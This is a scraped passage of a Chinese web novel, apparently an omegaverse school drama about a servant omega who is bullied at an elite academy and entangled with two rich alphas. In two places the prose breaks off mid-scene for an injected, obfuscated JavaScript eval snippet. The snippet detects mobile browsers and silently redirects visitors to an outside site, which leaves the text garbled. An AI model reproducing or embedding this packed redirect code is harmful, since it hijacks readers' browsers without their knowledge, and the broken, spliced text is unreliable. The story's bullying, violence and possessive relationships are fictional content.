可丁宴却莫名觉得一阵恼火,一时间分不清,到底是听见祝青辞说他喜欢戚珣而生气,还是他被拒绝而不甘,却还要嘴硬道:“我不信。你帮我追他,无论结果如何,只要你答应我,我都给你两百万。” 祝青辞本来想把这倒霉孩子推开,然而即使昏昏沉沉,当他听见两百万时,也忍不住恍惚动摇了一下。——不,是狠狠动摇。 这可是两百万……两百万…… 但是戚珣如果知道,肯定会把他皮都扒了的。 因此无论丁宴怎么死缠烂打,祝青辞都只会含含糊糊地说一声“不”。 丁宴恼羞成怒,他平生第一次求人,低声下气,刚柔并济,还是向着一个地位低劣的仆从,结果还被拒绝。 居然敢拒绝他?!他以为他拒绝的是谁?! 小少爷气得爆炸,自尊心上来了,恶狠狠地道:“不帮就不帮!你以为谁稀罕似的!” 他记恨上祝青辞的吝啬小气与不识抬举,狠狠背过身去,赌气不再去看身后的人,第二天禁闭室一开,他就火速冲了出去,不再愿意多看一眼身后的人。 - “……这里是一些低烧药,如果烧还没退的话,记得过来打吊针。” 祝青辞从校医室走出时,头还有些昏昏沉沉。铁笼般的窗外天空阴沉,铁幕一般笼罩着学院。 这个夏季格外多雨,湿漉漉的潮气钻进他的骨头中去,密密麻麻地泛着酥痒。 他捂着头,踉踉跄跄地走到B6班,还没进去,就听见里面的窃窃私语与不屑讥诮的嘲笑声。 “听说是祝青辞勾引戚少上床,真的假的?” “那还能有假?戚少亲口说的,是他非要死缠烂打,不自量力。试想,哪位少爷小姐要是发现自己的仆从胆敢僭越,以下犯上地爬上他们床,想必都要火冒三丈,怒火冲天。” “居然没有将祝青辞赶出去……戚少真是慈悲心肠。” “他看上去长得那么乖,没想到背后竟然行如此下等事。而且是一个无法被标记的omega?不知道背后怎样的浪荡不堪,这样的omega,即使爬上了别人的床,alpha也无法知道吧?说不定有多脏。” “也不知道戚少为什么要这样的劣等品。信息素匹配度99.9%就很厉害吗?不还是被分配到了B班?” 加德王立学院分为A班和B班,其中A班在最高层,里面全是王公贵族,少爷小姐,而B班则在最底层,是为各大少爷小姐陪读、或者其他普通学生的放置地。 然而也有不少仆从会跟读,与少爷小姐共同在A班上课。在他们眼里,这无疑是“恩宠”的信号,而祝青辞被抛弃到全校最劣等的B6班,便是戚珣在赤裸裸地嫌弃他,与他泾渭分明地划分界限。 他们卑劣地嫉妒着祝青辞,恐怕恨不得以身相代,偏偏那个靠爬上床得到好处的人不是他们,因此格外的怨恨,进而奚落鄙夷。 一声清脆的喝响,似乎忍无可忍:“够了,有完没完!” 女生站在他们面前,将课本一拍,“快上课了,老班最讨厌在班级里大吼大叫的人,他等会就来,你们再长舌一下,不怕他生起气来将你们学分扣光?” 她嘴上这样说着,可气势却并没有很足,尾音还带着细小的颤抖。为首的男生瘦猴似的,闻言,眯起细小的眼睛,不屑地嗤笑一声:“班长,又在这装好人?” “我最厌烦你这种圣母心的女人。祝青辞是你什么人,需要你护着他?可惜你只是一个omega,不然以祝青辞的浪荡,谁知道你们之间会不会有一腿?” 他促狭着笑着,目光上下将女孩一刮,狠狠地撞了一下女孩的肩膀,女孩被撞得踉跄几步,肩膀火辣辣的疼,皱着眉倒吸一口冷气,因此没有见到瘦猴将一条蛇神不知鬼不觉地放进她的抽屉中。 瘦猴面色不改地回到自己的座位上,他本来是想整蛊祝青辞,可惜甘瑶总与他作对。 先前祝青辞这个碍眼的转学生还没来时,甘瑶就遭到了全班人的排挤,可怜被欺负了也不敢吱声。 好不容易有个可转移的目标,能让自己喘口气,她居然还要为他说话? 祝青辞推门进来时,空气有一瞬间的凝滞,可很快那些陌生的面孔又有说有笑起来。他走到女孩面前,看着女孩被气得瑟瑟发抖的肩膀,声音柔和下来,“班长,可以借我一下你的笔记吗?” 他是转学生,进入学校的时间太迟,课程落下了不少。甘瑶抬起头,刚好就看见他那双眼睛。 男生眼尾温温柔柔地弯着,像是倒映在明池之上的一弧弯月,甘瑶方才又气又委屈的心情顿时如同煮沸的焦糖遇冷,瞬间凝固,几乎有些无措:“啊……好的,可以。” 她正要向抽屉中伸手,祝青辞却比她更快一步,从她抽屉中拿出了什么,对他露出一个清浅而礼貌的笑:“谢谢。” 瘦猴挑了挑眉,三人座位顺序分别是:甘瑶、瘦猴、祝青辞。他冷眼瞧着,等着祝青辞伸手进去被蛇咬后大叫。 然而,什么也没发生。 他就那么抱着女生的笔记向后走去,瘦猴一愣,忍不住冷笑。 看来祝青辞的运气还真是好。 上课铃一响,一个面色严肃的老师便走了进来,他神色不虞地瞪了瞪几个骚动的男生,接着道:“上课。” 一阵“起立”鞠躬似的叫好。班主任道:“今天要讲的是枪械常识与基础。翻开课本第三十七页……” “狙击步枪是一种射击精度最高、射程远的轻武器,广泛应用于特种作战以及常规作战当中……” 加德王立学院中开设很多其他学校没有的课程,比如什么占星术语,葡萄酒品鉴课程、药物结构基础……枪械也是其中一门。 他在上面讲,下面的学生却大部分兴致缺缺。 他们只是家仆,比起枪械,他们更为在意自己怎样才能得到主人的赏识。 况且他们中有不少人是娇贵的omega。开玩笑,让omega拿枪?这世界上疯了么?简直暴殄天物。 祝青辞却坐得笔直,很认真地听讲,每听到重点,便垂下眼做笔记。 “狙击步枪最早出现的确切时间无法考证,因为在步枪最早被用作狙击用途时,世界上还没有“狙击步枪”这一说。” “而早期具有狙击功能的步枪并没有安装瞄准镜,只是士兵为了达到精确隐秘的射杀目的,在稳定性和精度比较好的步枪上加装一个瞄准筒来进一步提高射击精度……”[注] 班主任顿了一下,似乎有些不悦,他拍了拍桌子:“我知道你们大部分人对这门课没有兴趣,你们中,有娇弱的omega,低贱的仆从,等级差的劣等品,但是上级依然愿意给你们教授这样的课程,你们知道是为什么吗?” “因为知识是平等的。” 除了甘瑶,下面的学生们睁着清澈且愚蠢的双眼看着他,表情十分困惑,似乎在问,我们只是家禽而已,知识难道要比攀附权贵有用么? 仿佛只要他一声令下,成绩最好的人就能直接巴结权势,青云直上,他们便立刻马上毫不犹豫地照做。 毕竟在他们眼中,就算考上好大学,也依然是给别人当牛马的命——给谁当牛马有区别么? 班主任简直要摇头,孺子不可教也,朽木不可雕也,目光鹰隼般扫射一圈,忽然顿了一下。 角落里新来的omega转学生坐姿端正,很认真地看着他。 他有一双很漂亮的眼眸,群青色的光流动在他眼底,仿佛在窑炉中锤炼凝结而成的青花瓷,嵌在那张素白如瓷胚的脸上,漂亮得令人心惊。 被这样的眼睛这么认真地看着,很难不恍惚。 班主任是一个beta,他忍不住微微讶异,随即点了点头,神色缓和一点。 ……还是有认真读书的孩子在的。 瘦猴坐在祝青辞正前方,他发现坐在前排的女生似乎忍不住,偷偷回头瞥一眼身后的祝青辞,心里更加不满,眼神阴冷,接着又自在地抱着双臂,等着前面的女孩出丑。 可不知道过了多久,女孩还是安安静静地听着课,身后的祝青辞更是翻开笔记本,认真地研读女生借他的笔记本,垂眉低目,一副乖学生的模样。 他的字与加德王立学院崇尚的那种花体字不同,是那种很清新隽永的行书,行云流畅般铺开在纸背上,看上去便赏心悦目,仿佛能闻到淡淡的纸墨香,带着东方古国的韵味。 瘦猴忍不住多看了一眼,莫名感觉后背有些痒,似乎有什么东西在爬,忍不住面露疑惑。 “蛇呢?” 他分明记得自己刚刚才将一条小蛇塞进甘瑶抽屉中,这才这么一会,不可能毫无动静。 终于,他看见女孩低头,似乎在抽屉中翻找什么东西,耳边传来窸窸窣窣的声响,是蛇缓慢游动的声音。瘦猴忍不住窃笑,期待着甘瑶尖叫着吓倒在地。 然而那声音不知为何,却离他越来越近,似乎还能听见蛇吐着信子的“咝咝”声,他下意识一低头,接着,面色大变,猛地站起来,左脚踩右脚,“哐当”一声被椅子绊倒,狠狠摔在地上。 坚硬光滑的大理石地板与他的尾椎狠狠密接,他当即惨叫一声。 “蛇……蛇!” 本该在女孩课桌里的蛇,不知何时顺着他的脊背一路往上,贴住了他的脸颊! 这绿油油的东西横空出世,“亲切”地问候了一下它的前主人——它猛地张开血红大口,往瘦猴脸上咬出两个“吻痕”! “啊!!!” “吵什么!吵什么!”老师猛地回头,粉笔在黑板上敲得砰砰作响。 他一看到瘦猴,先是被他缠在他脸上的蛇吓得一惊,接着,联系到此人的前科,便很快反应过来。 恐怕又是他试图捉弄别人,只是这次不知为何竟然失败了。 他又看到后面乖巧听课的omega,忍不住对比一下,当即狠狠牙疼起来—— 越对比越磕碜。一个眉清目秀,一个歪瓜裂枣。更何况,人家一个omega都认真听讲学习,你一个alpha,竟然还没出息地大吼大叫。 丢脸至极。真是废物,蠢货,没用的东西。班主任当即怒目而视,“倒数第二排的!不上课就滚出去!” 瘦猴知道自己是逃不过被记过处分了——可他眼下只在意自己忽然多了两个孔的嘴巴,眼泪都要飙出来了,连滚带爬,屁滚尿流地往教室外跑。 “祝青辞你等着……” 瘦猴死死地盯着祝青辞,捂着正在缓慢肿成香肠的嘴。蛇含有微量毒性,他目光愤怒而阴冷,滚着熊熊燃烧的怒火与恨意,“你有本事放学别走!” 蛇是从后脊梁爬上来的,他哪里还不明白? 祝青辞朝他敷衍地一笑,纹丝不动,懒得理他,放学后收拾好课本,将笔记还给女孩,同时在她桌上放了一小瓶草莓牛奶。 甘瑶懵懵懂懂的,但是她注意到了课堂上的那场骚乱,忍不住拉住祝青辞衣袖,担忧道:“同学,你赶紧走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731080|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝青辞笑了笑,他点了点头,转头就进了教职工办公室,留下女孩愣愣地低下头,看着手里的粉红色牛奶杯。 ——居然还是特意温过的。 “……你真的对枪械有兴趣?” 办公室内,班主任看上去很讶异。他满意于祝青辞课堂上的认真,但是却并不赞同前来寻找他,咨询有关于进入军部事宜的omega:“你一个omega,想要进军部?” 他摇了摇头,神情也冷淡下来,在课堂上的青睐因为祝青辞此时异想天开的话语而消失。 他哗哗地翻动着手中数十份履历,漠然地扔在祝青辞面前,“看吧。” 他手指叩住履历上的“第二性别”栏,砰砰作响,“你眼前一共有四十二个我教过的学生,他们全是beta,申请志愿全是秘情军处——也就是你们口中的军部。” “但是他们全都被拒绝了,你知道为什么吗?” 祝青辞坐得更为端正了,“为什么?” “因为beta与alpha之间的体力差了足足两倍以上,”班主任说:“而omega和alpha之间的体力更是差了近乎五倍,你拿什么与alpha比?” “那我就训练——” “你为什么非进军部不可?”班主任扶额,“我不是不尊重你的梦想。但是omega生来稀缺,即使你嫁给一个普通的alpha,他也可以保你衣食无忧,你为什么非要靠自己?” 祝青辞沉默了一会,抿抿嘴唇。 他依然忘不了一年前的那个夜晚——戚珣喝多了酒,将他压在墙角,双臂将他牢牢困住,不让他挣动丝毫,质问他:“你想上学?” alpha眯起一双锐利狭长的凤眼,咄咄逼人,“你身体这么差,我愿意雇佣你,把你留在家里就不错,去学校做什么?” 祝青辞沉默。 他也有些纳闷,然而对于学校的执念却仿佛是刻在骨子里,无数个夜晚,祝青辞都梦见高高叠起的试卷,身边的同学神情痛苦地埋头苦干,却依然有人叫嚣着学不能不上,书不能不读。 戚珣见他不语,忽然和缓下神色,毛茸茸的脑袋蹭了他颈窝,“学校才不好,一点也不好,里面的人又丑又笨,都是一群蠢货。” 唯有意识不清醒时,戚珣才会流露出他黏人的特质来,一如小时候他们还没决裂时的模样。祝青辞试图与他解释:“我已经到了上学的年龄,不可能永远依赖戚家……” “不去好不好,这样我一回家就能看见你。你每天都能给我做饭,每天都能陪着我,我会给你买很多很多好吃的好玩的,我听你话,好吗?” 祝青辞摇了摇头,戚珣软着声音诱惑他哄骗他:“你身体太差了,我担心你去了学校,晕倒都没有人救你,万一你又遭到危险怎么办?哥,你能不能替我想想?” 他一声“哥”叫出来,祝青辞忍不住动摇。自从那场事故后,戚珣再也没有叫过他“哥”,也把他当仆从一样任意差使。他一听,差点心软就要点头,可是最后理智拉住了他,他在戚珣逐渐怨恨扭曲的目光下摇了摇头。 “怎么,戚家还会少了你一个人的饭不成?” 戚珣神色冷下来,他俊秀的面孔一片漠然,眼角上有一块月牙型的疤痕,他指了指自己的眼角,“你忘记我这块疤是怎么来的了吗,哥。” 他最后一声“哥”喊得咬牙切齿,又透露着嘲讽的语气,似乎时时刻刻在提醒着祝青辞对他的背叛。 祝青辞像是被扼住命脉,他抓住戚珣的衣角,很小声地恳求:“小珣……求你了。我真的很想上学。” “如果我偏不放你走,你能怎么办呢?你这么脆弱,现在就连把我推开的力气都没有,离开我说不定就死了,只能任人摆布。” 戚珣眼神阴沉,他手指停在祝青辞小腹的位置,戳着祝青辞敏感的肚脐,看着omega眼尾颤抖地染上一层薄红,眼角眉梢都是嘲讽,慢吞吞地从口中滚出来一句混账话,“想必到时候有人想要强了你,以你孱弱如废物一般的力气,你也不能把他怎么样。” ——他铁了心,想彻底养废祝青辞。 老师喋喋不休的话语将祝青辞从那个磅礴的雨夜拉回:“……我知道你们有些孩子会因为进入加德王立大学,对于加入国家的一些高等机密机构抱有幻想。 但是军部是全国最为隐秘,审核最为严格的组织,每一个军部的成员从小就要接受严苛的训练,是从地狱中爬出来的。” omega靛蓝色的眼眸安安静静的,底色却涌现出一层执拗,他点了点头:“是不是只要我成绩足够优秀,军部就会考虑我?” “你……” 班主任差点脱口而出,考虑什么?考虑你做文员还是帮助军部执行员舒缓压力的共妓? 他不得不无奈地将祝青辞打发走,本来积攒的好感又化作虚影。走之前,祝青辞依然很礼貌地对他轻声说了“谢谢”,将借来的椅子归位。 此时天空已染上暮色,不远处候鸟滑过天空,金合欢树飘飘扬扬,远处火烧云熔金一般流淌在苍穹之上。 祝青辞站在厕所面前,罕见地犹豫了一下。 这是什么,为什么厕所会有六扇门? 学校就这么壕无人性的吗? 他从小一直生活在戚家,戚家没有专门划分。很久以后戚珣会痛恨戚家为什么没有对祝青辞专门地指导生理常识——于是祝青辞沉思了半晌,勉强辨认出男厕,最后闷头走了进去。 悄无声息跟在他身后的几个alpha纷纷探出头,都惊呆了。 “他为什么进了男性alpha的厕所???”瘦猴震惊道:“现在的omega这么不守o德吗?!” “不管了,”他呵呵冷笑,抹了把脸,转头却调理好表情,对为首的alpha露出一副恭维的态度:“蒋哥,就是他。” 他脸上还有两个蛇孔,嘴又紫又肿,alpha瞥了他一眼,就皱着眉扭开了头。 蒋白止淡淡道:“不用折磨他,将他一条腿打断就行。” 5. 第5章 蒋白止插兜站在走廊,低头看着手上的积家。 指针缓慢旋转着,现在是晚上六点,他一身西服笔挺,点燃了一根烟,不紧不慢地咬着,冷酷的眉眼垂下来,一副百无聊赖、漠不关心的模样。 戚家在娱乐行业颇有件建树,蒋家则是在医药领域一家独大。蒋家与戚家相邻,好巧不巧,都在同一个别墅区中。因此两家人来往逐渐密切起来,多年情谊不是作伪。 蒋白止名义上是戚珣的发小,实际上,还能算是他的半个好大哥。 然而一年前,戚珣忽然不请自来地闯入他们家,神色阴沉地坐在他的客厅里,两腿交叉,过了好一会,才说:“我要休学一年。” 蒋白止过了很久,才淡淡说:“是为了你那个小omega仆从?” 他早就知道戚珣在宅邸里藏了人,听说曾经发生过什么事情,以至于戚珣不允许那个人踏出房门一步,死死地将人锁在家中。 戚珣闻言,面色扭曲一下,“他算什么?是我有一场戏,要进山里拍。” 然而不久后,别墅似乎就遇到了泥石流,听闻祝青辞借着被困的七天七夜,爬上了戚珣的床。 蒋白止早有耳闻祝青辞通过不正当手段上位,对此人无甚好感,恰好瘦猴今天来向他告状——打狗还要看主人,因此他只是挥了挥手,让他们小惩以示警告。 他低头看着表,厕所内,却猛地传来“哗啦”一声巨响,他一下怔住,随即反应过来,转身向厕所疾步走去。 瘦猴一进去,便看见了靠在洗手台的omega。 祝青辞穿着学校统一发放的校服,衬衫收进他窄瘦的腰中,从侧影看,他单薄得像张轻飘飘的纸。听到声响,他微微侧头,看到他们后,不动了。 omega似乎刚刚洗过脸,透明的水珠顺着他高挺的鼻梁到嘴唇,再从下巴到脖颈缓慢地下滑,勾勒出一段优美而又有点暧昧的弧度,他看上去似乎不太舒服,眉头蹙着,两颊是淡淡的潮红。 “咕咚。” 几个alpha忍不住愣了一下,下意识地吞咽了口水,瘦猴脸颊上被蛇咬穿的孔却忽然疼痛起来,他打了个激灵,回过神,盯着omega,他狞笑了一下,“真不知道戚珣看上了你什么。” 他眼神像是恨不得将眼前人撕下一层皮,“现在你们的关系还没有传出去吧?你说,如果你和他的关系被捅出去,他的粉丝会如何想呢?” 祝青辞静静地看着他。 他向前走了几步,刚咧开嘴。然而下一秒,一只手猛地伸过来,狠狠抓住瘦猴的头,用尽全力,将他的脑袋狠狠拍进眼前的镜子中! “哗啦!” 镜片顿时四分五裂。另外两个alpha跟在后面,还没来得及上前,便被震慑在原地,纷纷张大了嘴,当场傻眼。 祝青辞发难得猝不及防。他清晰地知道自己力气比不过眼前几个alpha,便也不用拳头,下手快准狠,出其不意,一句废话也没有说。 他面无表情地摁着瘦猴的脑袋,一下又一下,以一种稳定的频率,“哐哐”地将他的脑袋拍在镜子上。满是裂痕的镜面上倒映出他的脸——那张看上去柔软无害的脸此刻冷下来,“你们要动戚珣?” “我……操!祝青辞!你个疯子!松手!松手——” 瘦猴被一下下地撞着脑袋,血顺着他的额角流下,整个人都懵了,他试图辩解,可是一开口,就又被“砰”地砸进镜面。 他简直要大喊冤枉。他没想到只是嘴上说说,祝青辞居然能当了真。 祝青辞着实是个很无趣的人——无论你怎样刺激他、辱骂他,他似乎都不会放在心上,我行我素,偏偏看上去,又一副孱弱无害的模样。 但是一旦涉及他真正在意的人,他好像就会撕下那张温和柔弱的皮囊,露出些罕见的凶狠。也或许是孤注一掷——弱小的动物反抗起来,必然是报了必死的决心,像是自然界中护蛋时的母亲。 旁边的两个alpha总算反应过来,冲上前,祝青辞躲开向他迎面袭来的拳头,手一松力,瘦猴便震怒地转身,挣脱祝青辞,咆哮着将他压在洗手台上。 “祝青辞你找死!” 他没想到祝青辞反抗这么剧烈。他本想随便刺激一下omega,再揍两拳,出出气,结果猝不及防见了血,一下子眼睛都红了。 他骨子里的火气与血性完全被激出来了。祝青辞的后背狠狠地撞了一下镜面,凸起的碎片硌得他皮肉生疼,手指无力地撑在黑色大理石质地的洗手台,苍白的手背上青筋浮现,食指被玻璃划破,血液一下子汩汩涌出。 瘦猴拳头都举了起来,可他差一点就要砸到祝青辞面庞上时,整个人忽然顿住了。 空气中不知何时充满了雪松林的清香,缭绕在鼻尖。他眼前阵阵眩晕,似乎望见了一片辽阔的雪地,上面的松林笔直矗立,高耸入云天,冷冷的清香溢出,隐约还能见到挂在树梢上面的松果。 两眼顿时发直,身体往前倾,耳畔模模糊糊,似乎听见有谁在叫自己,却依然不管不顾地往前。 好香……吃了他……吃了他…… 他像一条吐着涎水的狗,整个人几乎就要压在瘦弱的omega身上。 下一刻,一只被漆黑西裤裹着的长腿猛然出现,锃亮的皮鞋往他腹部狠狠一踢,瘦猴整个人便立即如炮弹般飞出去,哐当一声摔在旁边的小便池中,正中脑门,当场昏了过去。 他脸朝下地泡在池子里,咕噜咕噜几声,不动了。另外两个alpha见状大惊,彻底从那股迷雾似的香气中清醒,夹紧了尾巴。 蒋白止转过身,他断眉狠狠一压,眉眼间都是刀刃似的锋利,英俊的眉眼间满是冰冷的怒气,语气寒冷:“我叫你们停下,没听见?” 鬼知道他刚才一进门,就看到了一副怎样的场景——omega被三个高大的alpha紧紧地包围着,只能隐约通过罅隙,瞥见一只手死死地扣着纯黑色的洗手台,指节用力到发白。 他眼睁睁地看见那只手似乎终于坚持不住,脱力般的松开,缓慢垂落下去,脑海中一根弦“啪”地一声崩断,等他回过神来后,已经一脚用力踹开瘦猴。 没有瘦猴的压制,祝青辞无力地从洗手台滑下,他下意识一转身扶住他,omega这么直直地栽在他怀中。 omega的衬衫被揉皱得凌乱不堪,他一低头,就看见omega神智涣散,眼底慢慢涨起雾气,嘴唇微微张开,艰难地呼吸,像是突然搁浅上岸的鱼,脸颊更是红得滚烫。 “你没事……” 蒋白止将祝青辞打横抱起时,惊觉他体温之高,连忙阔步走出门外。 他面色严肃,薄唇抿成一条直线。出现这种情况完全是他意料之外。好在校医还没下班,他抱着祝青辞到校医室时,小护士明显吓了一跳:“怎么烫成这样了!” “我早上就叫他打点滴,但是他却硬是拒绝了,但那时还是低烧,我没放在心上…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731081|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我疏忽了。”她面色愧疚,连忙把昏迷过去的祝青辞放在病床上,检查了一下他的后背:“没事,没有伤到,但是有点淤青,揉一下就好了。” 她将少年的衬衫揭开,露出后背,仿佛一个白色的花苞被人强行剥开了层层包裹,后脊一片雪白,却可见窄瘦的腰处有两道指印——恐怕是方才alpha将人压在洗手台上留下的。 蒋白止猝不及防撞见一片惊人的雪白,眉心一跳,慌忙扭过头去,片刻,又皱起眉,不明白自己为何反应这么大,便又将头扭了回去。 小护士忙前忙后,将针刺入祝青辞青色的血管中,omega手背处的皮肤苍白到半透明,仿若一块透光的大理石。蒋白止又想起之前戚珣将人关在宅邸之中,忍不住愈加怪异。 他察觉到自己不应该和发小的男友有所纠葛,转头欲走,小护士却叫住了他,麻烦他帮忙看一下祝青辞,自己跑去外面接电话。 校医室瞬间安静下来。白色的帐纱被晚风吹起,窗外栀子花香涌入,蒋白止坐在祝青辞床边,连脊骨都僵硬了,脸色却依然冷冰冰的。 他一身西装革履,本来今晚还有一场晚宴要参加,眼下只能取消。 他忍不住端详起祝青辞,心中漠然地想,这就是让戚珣的小男友?长得一副小白兔般柔弱的样子。却又想起头破血流的瘦猴,以及omega面无表情地将人一下又一下地砸进镜子里,心中泛起一丝浅薄的钦佩,又被某种怪异的感觉浇灭。 人的潜力就是这么巨大,重伤的母亲会为了孩子而突然爆发出抬起一辆车的力气,保护弟弟的哥哥可以拼着脆弱的身体长出棘刺,他不得不承认,有那么一刻,他看着这样的omega,也恍惚了一下。 他骨子里就是冷血而慕强,因此从小对于娇弱的omega无一丝好感,只觉得他们一个个都是菟丝花,而会被omega吸引的alpha都是下身支配的劣等动物。 可蒋白止直直地盯着昏迷的omega,脑海中却忽然浮现一个念头。 ……如果从小与祝青辞长大的是他,他也会这样,为了保护自己而锋芒毕露么? 雪白的床单上被血迹沾染,他这才发现omega的手指被划破,轻轻地牵了起来,想要为他料理一下伤势,空气中的雪松林香如涟漪般点点扩散开,慢悠悠地侵入蒋白止的大脑。 病床上的omega沉沉睡着,点滴从输液管一点点地流进他单薄的血管中。 他看上去脆弱而无害,可是那气味简直如燃料一般,轰地一声,顺着蒋白止的四肢百骸,将他浑身的血液都引爆沸腾起来,他甚至听到了骨头崩裂的劈啪声响。 一阵眩晕后,他如坠云端,全身上下每一个毛孔都被包裹着,熨帖得他眼睛都眯了起来,脑海中却有道声音在叫嚣着——不够,还不够! 他几乎是一瞬间就意识到了,眼前人是他的命定omega。 蒋白止鬼使神差地一低头,薄唇微启,omega的食指就离他愈来愈近,在他眼前不断放大。 原来这就是命定omega的感觉?好软,好香,好舒服。 ……凭什么只有戚珣拥有他? 戚珣收到消息,一推开门,就看见蒋白止咬着祝青辞的手指,眼神带着眷恋地盯着他的omega,唇边沾染着红色的血迹,正缓慢地将omega割开的裂口舔舐了个干净。 他冷不丁地一开口,“蒋白止,你为什么会和我的omega在一起?” 6. 第 6 章 蒋白止抬起头,语言平淡道:“你在说什么。” 他眸光冷淡,不夹杂一丝情|欲,仿佛浮在鸡尾酒中剔透冰冷的冰球。 方才眷恋不舍的眼神仿佛根本是戚珣一晃而过的错觉——蒋白止手上甚至还拿着创口贴拆开的包装。 戚珣回过神来,才意识到刚刚蒋白止只是弯下腰,将一个创口贴撕咬开,裹在了祝青辞的食指上。 只不过从后往前看,蒋白止高挺的鼻尖离祝青辞的手挨得很近,因为错位,看上去似乎咬上了祝青辞的手指。 ——是一个误会。 戚珣一颗悬起的心猛地砸回肚子中,紧绷的肩膀猛地松懈下来,他也不知道为什么自己松了一口气,但还是笑着走了进来,“蒋哥,好久不见。” “刚才看错了,以为你在亲我的omega的指尖,语气冲了些,不介意吧?” 他歉意地笑了笑,精致的眉眼垂下来。 蒋白止双手交叉,摇了摇头,“以我们之间的情分,我不至于为这点小事跟你翻脸。” “也是,蒋哥又不是没去过声色犬马的会所、光怪陆离的削金窟,里面的omega姿色各个都万里挑一,”戚珣笑着,眼角露出一颗小痣,“怎么会看上祝青辞这样的劣等品。” 他分明知道蒋白止从小就禁欲冷淡,对于一切AO关系不屑一顾,并且十分居高临下地笃定他们都是一群臣服于信息素的贱|畜。 况且,两个人今天刚见面,蒋白止怎么也沦落不到忽然异想天开,想要尝一下劣等omega的味道。 还是像狗一样,只敢舔舐指尖。 多么卑微的举动。 ——堂堂蒋家的大少爷,如果真这样做,也太掉价了。 “不过你们怎么会遇到的?” 戚珣面露疑惑,“蒋哥你可不经常来校,而且,B班和A班根本不是一栋楼里的,如果说是巧合,似乎也太巧了一点吧?” 他笑起来,眼尾的小痣弯起,分明是一张端正俊美的脸,却令人想起皇蛾阴阳蝶,再怎么漂亮,也是含着剧毒的。 蒋白止却揉了揉眉心,面露疲惫,轻轻叹气:“阿珣,你在怀疑我与你的omega偷情?” 戚珣脸色一变,立刻道:“蒋哥,言重。你这样说,便显得我太不知好歹,还在贬低你。祝青辞只是一个卑贱的仆从,而你却是堂堂蒋家大少爷。你们今天刚见面,怎么可能就会偷情?那也太过往祝青辞脸上贴金了。” 蒋白止撩起眼皮看着他,戚珣继续道:“你一直是我的邻家大哥,这些年是你一直纵容我。” “不过,即使你真的想借他去玩几天,倒也无所谓,我不介意。” 戚珣语气轻飘飘:“你知道的,omega对我们而言,也只是物品,是筹码,是随时随地可以为了利益而拱手相让的礼物。” 蒋白止没有回答他,只是从西装中掏出一个丝绒礼盒。 戚珣打开,是一个镶钻的胸针,价值不菲,却被蒋白止就这么轻飘飘地送出来了,立刻讶然:“蒋哥,太客气了。” 蒋白止很早就接手家里的事业,因此举手投足之间都有种一种成年人的韵味,不像是一个朝气蓬勃的年轻人,倒像是一个无喜无悲的佛子。 蒋白止拍了拍戚珣肩膀,声音沉稳平静:“我还有事,提前祝你开学快乐,我先走了。” 他走之前,顿了一下,回过头,漆黑的眼眸轻轻一转,盯着戚珣。 “蒋哥,还有事?”戚珣脸上挂着笑。 蒋白止慢条斯理地捋平自己西装上的褶皱,他用一种长兄的语气,长辈叮嘱晚辈的态度,提醒道:“戚珣,玩物而已,别真的陷进去了。” 他一关上门,戚珣扬起的笑脸便消失了。 陷进去? ——怎么可能。 他低头看着昏睡的祝青辞。 omega不知道已经躺了多久,吊瓶处的点滴已经打完一半,银针刺入他青色的血管中,食指处的创口贴显得他手指纤细而孱弱。 他忍不住“啧”了一声,莫名觉得那创口贴愈发碍眼,当即翻找抽屉,撕下,重新自己贴了一个。 他撕的时候毫不犹豫,速度极快,连扯带拽,omega白软的皮肉被他带起,本来止血的伤口重新又冒出血珠,看着就疼,这简直与在伤口上撒盐毫无区别。 戚珣却毫不在意,他当然不在意,毕竟疼的也不是他。他垂下眼眸,长睫在眼下盖下浓重的阴影,伸出手,手指握住了祝青辞的脖颈。 “哥,”他皮笑肉不笑,手指缓慢收紧,喃喃道:“我真后悔把你放出来。” “可是不放你出来该怎么办呢?你又一副要死掉的模样看着我。” “你是不是应该感谢我?你看,我都恨你恨成这样,却还是不忍心你死。” 祝青辞手指抽搐一下,睫毛轻轻颤抖,戚珣知道他是要醒来了,当即收了手,脸上恢复成漠然的表情。 祝青辞醒来时,就看到戚珣在他床边,有些讶然,“戚……” 他脑袋还有些昏昏沉沉,眼前重影不断,却依然立刻认出了戚珣。 他一见到戚珣,忍不住眼睛亮了亮,脸上立刻浮现一个温和的笑意,像是哥哥遇见久不归家的弟弟。 戚珣看着他,语气阴沉,审问道:“祝青辞,你和蒋白止怎么认识的?他为什么会送你来医务室?” 祝青辞面露茫然。 蒋白止?谁? 他晕晕乎乎的,根本不知道戚珣口中之人是谁。戚珣皱眉,抱臂冷笑:“还装?少用你那些轻浮不入流的手段。蒋哥可不像我脾气那么好,他平等地讨厌任何一个omega,尤其是试图用信息素引诱他——上一个试图诱惑蒋哥的omega可是直接被切除了腺体。” “勾引了我还不够,还要别人上钩?”戚珣冷冷道:“你未免也太不入流了,一年前诱导我发情期,你难道还想重演?” 祝青辞清醒过来。 窗外轰隆一声巨响,一道银蛇劈开苍穹。 雨淅淅沥沥地又下了起来,全世界都回荡着沙沙的雨声,一如一年前易感期的那个夜晚。 一年前,戚珣忽然闯入祝青辞的房间中。那是一个暴雨夜,山体滑坡隔绝了深山别墅和外界的山路。 